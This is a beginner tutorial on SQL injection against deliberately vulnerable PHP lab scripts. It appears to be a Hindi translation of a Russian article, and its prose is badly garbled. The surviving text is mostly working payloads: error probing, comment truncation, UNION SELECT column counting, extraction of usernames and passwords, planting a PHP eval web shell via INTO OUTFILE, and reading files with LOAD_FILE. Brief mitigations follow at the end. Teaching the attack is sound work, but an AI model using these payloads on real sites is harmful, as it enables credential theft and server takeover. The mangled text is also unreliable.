
рдЖрдкрдХреЛ рдирдорд╕реНрдХрд╛рд░, рдкрд╛рдардХред рд╣рд╛рд▓ рд╣реА рдореЗрдВ, рдореИрдВ рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рд╢реМрдХреАрди рд░рд╣рд╛ рд╣реВрдВ, рдФрд░ рдХреБрдЫ рд╣рдж рддрдХ, рдХрд╛рдо рдЗрд╕рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред рдХреНрдпреЛрдВрдХрд┐ рдореИрдВрдиреЗ рд╡рд┐рднрд┐рдиреНрди рдордВрдЪреЛрдВ рдореЗрдВ рд╡рд┐рд╖рдпреЛрдВ рдХреЛ рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдиреЛрдЯрд┐рд╕ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛, рдпрд╣ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рд╕рдм рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдореИрдВрдиреЗ рдПрдХ рд▓реЗрдЦ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рд▓реЗрдЦ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЗрд╕рдХрд╛ рд╕рд╛рдордирд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реАрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ рд▓реЗрдЦ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╢реБрд░реБрдЖрддреА рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╡реЗ рдереЛрдбрд╝реЗ рдЬрдЯрд┐рд▓ рд╣реИрдВред рдореИрдВ рд╕реНрдкрд╖реНрдЯ рднрд╛рд╖рд╛ рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рд╣рд░ рдЪреАрдЬ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реВрдВрдЧрд╛ред
рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛
рдЗрд╕ рд▓реЗрдЦ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ SQL рднрд╛рд╖рд╛ рдХреЗ рдЬреНрдЮрд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдХрдо рд╕реЗ рдХрдо рдЕрдЪреНрдЫреЗ рдзреИрд░реНрдп рдФрд░ рдереЛрдбрд╝рд╛ рдорд╕реНрддрд┐рд╖реНрдХ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ - рдпрд╛рдж рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред
рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рд▓реЗрдЦ рдХрд╛ рдПрдХ рдкрдврд╝рдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рдЬреАрд╡рд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ, рд╕рдВрд╕реНрдорд░рдг рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рдпрд╣ рдХрднреА рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╣рдо рдХрдордЬреЛрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреЗрдВрдЧреЗ рдФрд░ рдЙрди рдкрд░ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рджреЗрдВрдЧреЗред
SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреНрдпрд╛ рд╣реИ?
тАФ , , . :
, , 100 . SQL , :
100
- ( ), , тАФ . , , ┬л ┬╗ :
100
, , 100 . SQL :) ( ), .
,
. .
cfg.phpSQL injection
, , . тАФ ID. . GET/POST Cookie!
index1.php. , ID .
sqlinj/index1.php?id=1'
.. :
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
SELECT * FROM news WHERE id=1'
:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16тАФ :
1.SQL тАФ ,
(int)2. .
тАФ ! SQL тАФ .
index2.php. , :
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";
, тАФ .
:
sqlinj/index2.php?user=AlexanderPHP'
. ! . тАФ .
- , . , "
--
" SQL.
! . URL
%20, тАФ :
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra
. index2.php, :
sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr
UNION. SQL
UNION SQL- . , - .
┬л┬╗, .
index1.php.
sqlinj/index1.php?id=1 UNION SELECT 1
. :
SELECT * FROM news WHERE id=1 UNION SELECT 1
, .. , .
.. , , .
, :
sqlinj/index1.php?id=1 UNION SELECT 1,2
тАж
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
! 5.
GROUP BY
, 20 40 60. ,
GROUP BYsqlinj/index1.php?id=1 GROUP BY 2
, - 2. :
sqlinj/index1.php?id=1 GROUP BY 8
, , - 8.
GROUP BY 4 , GROUP BY 6 тАФ , - 5
, , ID, :
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

, , . , , .
,
users id,
name pass.
ID=1
:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1

, , 1 3
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
тАФ !

┬л ┬╗,
index2.php . :
sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20
/
, FILE_PRIV.
. ,
OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
, . , -:
sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20
, .
LOAD_FILE, , :
sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20
, .
, . . ,
$id = (int) $_GET['id'];
malroc. PDO prepared statements.
┬лSQL injection ┬╗. . .
, .